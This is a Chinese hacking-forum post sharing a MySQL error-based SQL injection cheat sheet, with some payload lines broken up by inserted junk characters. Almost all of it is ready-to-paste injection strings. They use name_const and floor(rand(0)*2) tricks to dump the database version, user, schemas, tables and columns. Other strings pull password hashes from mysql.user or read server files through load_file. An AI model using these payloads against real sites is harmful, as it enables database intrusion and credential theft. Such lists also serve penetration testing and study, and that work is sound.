找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2381|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 5 Q" ^) y7 S4 E) [5 J

, V% P+ K5 |7 ~( D% K) ~
8 w" r" {8 o! q! G+ HMysql暴错注入参考(pdf),每天一贴。。。  g8 q3 G( B+ n4 f% M$ P
7 V% `9 V, f; }1 o0 _
MySql Error Based Injection Reference
5 ~4 d0 W( p2 ]" ^& K8 V0 ][Mysql暴错注入参考]
5 X: t7 h+ x8 }3 i. b+ Y5 @Authornig0s1992( \8 m! j9 x& ^$ K
Blog:http://pnig0s1992.blog.51cto.com/4 [! f  M& R0 m/ `4 b
TeAm:http://www.FreeBuf.com/
, k4 {/ Q: F0 J6 A9 `: [Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
/ D& F' L$ A: m小部分版本使用name_const()时会报错.可以用给出的Method.2测试
8 Y7 ~# s" N7 \查询版本:6 u( t* {+ n4 Z. Z% ~
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+2 V3 p  W9 Y- K' g* D# B
join+(select+name_const(@@version,0))b)c)9 d' j& i3 k1 i" ?; O; p7 J
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro% {6 W1 m  j5 G) ?9 P
up by a)b)
* t4 e5 Z9 Q1 b: l! z4 Q查询当前用户:  ~) k* G8 h6 M  X2 j8 E; h4 ?8 x: O+ U
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
) i' f# k, b4 x2 u! o* SMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r. u; n' N+ L9 |) T+ {$ \& b
and(0)*2))x+from+information_schema.tables+group+by+x)a)# W  L% t. B1 Z+ t# [! E6 a
查询当前数据库:
+ M+ C- [$ v4 ~; d9 X! s9 x  \Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
- v( b" m' ^8 X( z( sMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
$ c) C9 |) B& a5 W4 T9 L1 \1 {or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
! {/ n9 X: @4 g* z. [依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
8 A) s8 Y5 A1 h6 [/ ZLIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n# u" w% X; j/ G- Y: x
顺序替换% P# O5 P  L# U" [8 T- D
爆指定库数目:( s  \$ Y: r8 a& }2 T5 @  X
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t) i  L4 A) X; g$ T
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group! H  d/ }: [9 _- O
+by+x)a)+and+1=1 0x6D7973716C=mysql) ]3 R/ q0 E) T3 n" @
依次爆表:
: k$ ^* k4 x) P2 B% |( L, [and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t2 M1 M6 ^& s0 x2 h( y7 S2 ]4 [2 z
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
  M7 w) K# f* L" p9 L' q: Ebles+group+by+x)a)+and+1=1
' Q, _) L6 R! N. l0x6D7973716C=Mysql 将n顺序替换7 W, H% n$ X! C+ y" m6 k
爆表内字段数目:
4 Y0 k. t& p& {. b5 Y, v+ W! fand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
# U7 o/ A0 g2 ]: B$ W  f; m, c1 E+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran. a: j! P: _5 ~
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1' I  y( U; T0 \& t' z' ^0 o
依次爆字段:
$ P1 j1 t% {7 dand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
; @+ F! x8 m: F( E. i. Z7 W+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
8 h( i: ^9 C2 G) Lloor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
7 {$ {- X5 ^% M0 Y2 `+ Z依次暴内容:
; b$ E" i$ r' p* b9 ~! ~( Qand+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
) U% r9 k2 ~( s3 S* J9 zma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
) J0 j/ `# }' @4 F1 {2 }将n顺序替换
# N3 L4 ^, l/ x/ r爆文件内容:
3 H' t3 o' i/ ^! @1 z1 b' _6 kand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
$ L& m: I  P: K) O/ t4 xfrom+information_schema.tables+group+by+a)b) & S3 y4 C/ @, ^- m
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节. y) z6 e/ C# R- P& j
Thx for reading.4 \5 [! M5 d+ Y
/ {" |2 w3 S" w+ Z: Q- j/ P
不要下载也可以,
; d" ~$ p" Y% X3 c- s

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表